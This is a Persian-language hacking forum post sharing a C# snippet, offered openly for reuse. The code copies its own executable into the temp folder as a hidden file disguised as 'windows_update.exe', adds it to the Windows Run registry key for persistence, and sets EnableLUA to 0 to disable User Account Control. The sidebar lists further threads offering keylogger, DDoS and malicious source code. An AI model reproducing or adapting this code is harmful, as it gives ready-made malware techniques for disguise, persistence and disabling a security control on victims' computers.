• ¡Welcome to Square Theme!
  • This news are in header template.
  • Please ignore this message.
مهمان عزیز خوش‌آمدید. ورود عضــویت


امتیاز موضوع:
  • 0 رای - 0 میانگین
  • 1
  • 2
  • 3
  • 4
  • 5
Title: سورس غیر فعال کردن uac با سی شارپ
حالت موضوعی
#1
[C#] Start with windows and desactivate UAC

کد:
//////////////////////////////////////////////////////////////////////
//Start with windows and UAC desactivation (working with xp / vista)/
//Snippet by t0fx, give credits if you use it///////////////////////
///////////////////////////////////////////////////////////////////


using System;
using System.IO;
using Microsoft.Win32;

namespace autostart
{
  class Program
  {
    static void Main()
    {
      try
      {
        if (File.Exists(Path.GetTempPath() + "windows_update.exe") == false)
          File.Copy(System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName, Path.GetTempPath() + "windows_update.exe", true);
          File.SetAttributes(Path.GetTempPath() + "windows_update.exe", File.GetAttributes(Path.GetTempPath() + "windows_update.exe") | FileAttributes.Hidden);
          Console.WriteLine("File copy OK");
      }
      catch (Exception b)
      {
        Console.WriteLine("File copy failed : " + b);

      }
      try
      {
        var rkApp = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
        var uac = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", true);

        if (uac != null)
          if (uac.GetValue("EnableLUA") != null)
            uac.SetValue("EnableLUA", "0");
        Console.WriteLine("UAC desactivated");

        if (rkApp != null)
          if (rkApp.GetValue("windows_update.exe") == null)
            rkApp.SetValue("windows_update.exe", Path.GetTempPath() + "windows_update.exe");
        Console.WriteLine("Registry access OK and UAC desactivated");
      }
      catch (Exception c)
      {
        Console.WriteLine("Writing in registry failed " + c);
      }
    }
  }
}
گروه دور همی پارسی کدرز
https://t.me/joinchat/GxVRww3ykLynHFsdCvb7eg
 
پاسخ
  


موضوعات مشابه ...
موضوع نویسنده پاسخ بازدید آخرین ارسال
  سورس کد یک کیلاگر ساده ولی قوی (سی ) Amin_Mansouri 6 12,584 06-17-2014، 04:52 PM
آخرین ارسال: محمدعلی
  مجموعه سورس کدهای مخرب (دلفی ) Amin_Mansouri 1 6,773 11-09-2013، 09:49 PM
آخرین ارسال: dosibb
  مجموعه سورس کدهای مخرب (سی پلاس پلاس) Amin_Mansouri 0 5,904 01-29-2013، 02:49 PM
آخرین ارسال: Amin_Mansouri
  سورس کد اف تی پی کیلاگر Amin_Mansouri 0 4,184 09-17-2012، 07:12 PM
آخرین ارسال: Amin_Mansouri
  سورس کد حمله SYN Flood (دلفی) Amin_Mansouri 0 3,962 09-09-2012، 01:25 PM
آخرین ارسال: Amin_Mansouri
  سورس کد ddos به زبان دلفی Amin_Mansouri 0 4,705 09-09-2012، 01:17 PM
آخرین ارسال: Amin_Mansouri
  سورس کد کیلاگر (سی شارپ) Amin_Mansouri 3 11,774 05-27-2012، 10:44 PM
آخرین ارسال: Ghoghnus
  آموزش پیدا کردن آسیب پذیری Dll Hijacking بروی نرمافزار KMPlayer nimaarek 2 7,161 05-15-2012، 03:22 PM
آخرین ارسال: nimaarek
  سورس غیر فعال کردن تسک منیجر (سی پلاس پلاس) Amin_Mansouri 0 4,371 01-10-2012، 11:45 PM
آخرین ارسال: Amin_Mansouri
  درخواست سورس کد کی‌ لاگر newcoder 4 10,550 12-30-2011، 09:19 PM
آخرین ارسال: Ghoghnus

پرش به انجمن:


Browsing: 1 مهمان